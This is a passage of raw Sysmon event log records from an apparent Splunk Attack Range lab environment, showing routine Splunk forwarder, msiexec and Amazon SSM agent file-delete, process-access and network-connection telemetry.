Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6EDC-613B-8C04-00000000F101}328C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013538Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.201{625C326B-6EDC-613B-8C04-00000000F101}328C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000038317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:36.665{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:36.009{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:37.884{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=27B76109F9D548F23460B1887682B739,SHA256=9DE6D232D231D3426775D471E280086870E3962270D0100BD27FC343A0C6D9DE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:37.790{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E9406BA4BA5667AE2529EFD980A6109E,SHA256=E243318234F61C5F394DF315D69FB7AD53BA135F3696D3499E6259458B97BE6A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013554Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:36.393{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50094-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013553Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:37.246{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=986AEBDD6D4D2429E0D7B516FD7FE3CA,SHA256=5DFFC902458BB303DA406478270A073529D0F8EF383402EA51E4BD15D281DC77,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:38.947{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=4FE67F6857C431052856730C5E4398AE,SHA256=F351E3CA4A18E1083DC6C8305E4D71A9FBF2D07DB5ED06A0ECFED41BB556F09B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:38.884{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=69F73753183AA8FDA1F0C99AD871D3A1,SHA256=3FE8AF4A2F7225F5F0E57901D8A2C756193564EE8BE911519287964F9D978DD8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013555Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:38.293{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9D626F441F9B6B9B1B88E6AC45A2FA41,SHA256=02C0BDEBF6EB335950ED03FBF372BFD49B05CA10EC420E299C5B82DAD18356F1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:39.994{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=F5FF9FAB6DC236099C01F0BF969EC95A,SHA256=01B7FD36B2A4D12DA1A69261BF20959295FE014F19771092A846E2A52A2C138C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:39.947{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C980D9C2CA72231C16CAD6485F351151,SHA256=5D39B3821A1E020DF75653974CCAA32E497D50DC66FB228D9D20CBA1BEE4B8AC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013556Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:39.324{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8F5B645E7AE00B69F412A2EEBAC09496,SHA256=CAC37D63D59BB1BF6EB54957BF62356BB8559FE438C7ED6ADEBB3EF097A8539E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:40.963{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0792A448D48CDD418011D6D75CACBDA7,SHA256=3494783C65D1EA4A684ED316BBB82AC5078CC82955C8A853E71AB85A32DA38EE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013557Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:40.324{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AAB0131EF624C2C1FB18239D088BB24E,SHA256=9A7E2D446748CA0E2B2AA8E65A5C6BF0A6D4327B42EAE3E5DF9C45AE12FC9CFA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:41.994{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=978B69E1DE864FBDF11ABB7565B574B8,SHA256=AF5282EE06329B682547AB166DACE9C0488E7C3B45FDDB1AB9CC33F6DAFBD1DD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013558Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:41.325{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=07F5FAE21CDEB89FFA394E9A081A15F2,SHA256=2EBF94A5D26A5C581BAA6539D60635009A81AD454CC5B6DCCDEDB2101CB11971,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:41.056{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=A4AC71591D6BDC88FE3CC7EB1576887F,SHA256=9CCD28A7D25EA8E1F33E375A01C615A78EECF1F88691D9825BEDD7841913BF27,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013560Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:41.546{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50095-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013559Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:42.340{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=57AAA172D78E67C73B43E5229C822E1E,SHA256=746BF9EFA386F0D08F0271BE364F53CDDF5A9F446F64E0AF0679809E11EF9DD8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:42.822{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:39.412{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59196-false10.0.1.12-8000- 23542300x800000000000000038330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:42.103{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:42.103{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=7D4115147A1A12E26180870385E9D510,SHA256=3CD15C738C2852DF91411ECFC90964E3D3F6673FA77F8B67886BCFC656E75568,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:43.383{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-037MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:43.208{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=FC942C45F7628DCFA424E9C41EB44E1D,SHA256=2D68E840AC315DB3A16D1C5D7908DDD583E185A2F32D94734452C4F743A02514,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:43.067{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DA6590A12EDEC1580699638810C0A8A2,SHA256=ED74A3B0925F61308ED1EE72FEC6581AA3CEEC4751E4944DF7FE7F14A76E931C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013561Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:43.356{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6426B7F595AEA79DDFFC856769382F01,SHA256=868DBC89FBD303723CB3BA85565F5D09590780DBAC9B1119AF6028DF56490A3C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:44.972{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:44.390{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-038MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:44.390{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=1BCF75BF0DA323D2E4D4FE78002AE3E7,SHA256=ACFAA6ACDF208698D052185064C732D07A906DDCAA6C08D1FCAE9CDA2AF53B7C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:44.250{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0C74D841657058838210825A688A6343,SHA256=3C6B6500FF29D41058BF52B9DE6F86972BCC52FF067E7376F3398FA8F924F977,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013562Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:44.356{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F3D0FC67B2244125DE4C2E5D85AA8B14,SHA256=98335FA7C070BF2CFEFCC753CC08F8A14AA717B93E74130FBB7DFED5BA117121,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:45.660{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:45.378{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=C2F651C4915AF06D4AD49930CCEA6FDD,SHA256=2D1CCAF8088401D246F1C2A15598C967E691F7C3A0B7C3A0064D13F0A2457CE8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:45.300{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3C4B13476F673F34B319E1254D27C62C,SHA256=BD420DF1F26FE7B06ABDB735F58E96843523F19A1634DD00C43188CC671F0133,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013563Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:45.371{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CF36CEEF320ED39AF29696F525466386,SHA256=CB13341E793887A43FB350E8762CCCBE04F57F36D2B6BFE556AA2595671E9623,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013564Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:46.402{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=50110D5231F2A6E12B6BAAC91730A9FD,SHA256=4228BA4680E8F1A541FA4183D03E2C56156A62957EC222FFEF98EDADF324E7B6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:46.441{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=40E5F13F060BB6ACE76A38C033692D95,SHA256=7239A465D9F5376CEF762A943AB927A3215C39DBF87EA41E228D2A252E9D0203,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:46.301{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:46.301{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=61E8985029D390D5F061838E9B8D5DB7,SHA256=AE2E4A5C651386424E94032D3E501F52BF95C337F579DF54EF16D86479D0C83E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:47.519{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=94A248156F8335852A3D136F85D8C0DA,SHA256=947A3A9B41C2C30ACDEB79083DD5222499BBF01A5512EE02445379CEE660CC8E,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:44.545{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59197-false10.0.1.12-8000- 23542300x800000000000000038346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:47.347{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7F0EA6C45EDF254966EC58152615D8F4,SHA256=B66190E7E746339BBB1D8AE1C3A05EC9E26D6FBA36C4F4E02C88AEC8BF5435E0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013565Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:47.449{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8E201425D62A4553AC87343772634FD7,SHA256=30C3ABD3270F8687798A73314EFB9E09A97116A5DA35DB83C96AA07E763EFB7E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:48.925{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:48.566{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=59EC811FFC047CDB2390D74CE7C95F34,SHA256=C44B312B8B32C852C3C5E746FD4438BA49010F8B0D054C4FF679F0C55113D2E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:48.441{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4EA74841A70C2602B9A5CA8EC5991536,SHA256=D9FA0CD1416FABB41D090D022D0A4907FD947A68F96C40AF0038390E7F05D091,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013568Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:47.422{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50096-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013567Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:48.594{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-028MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013566Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:48.451{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=853E798286422A8109B2C0CF0BBB4BE2,SHA256=0B5BDD1CA7D5740DAB377BECBCF11C61D59D672FD71F7B8D88D10CFADBCAEF0E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 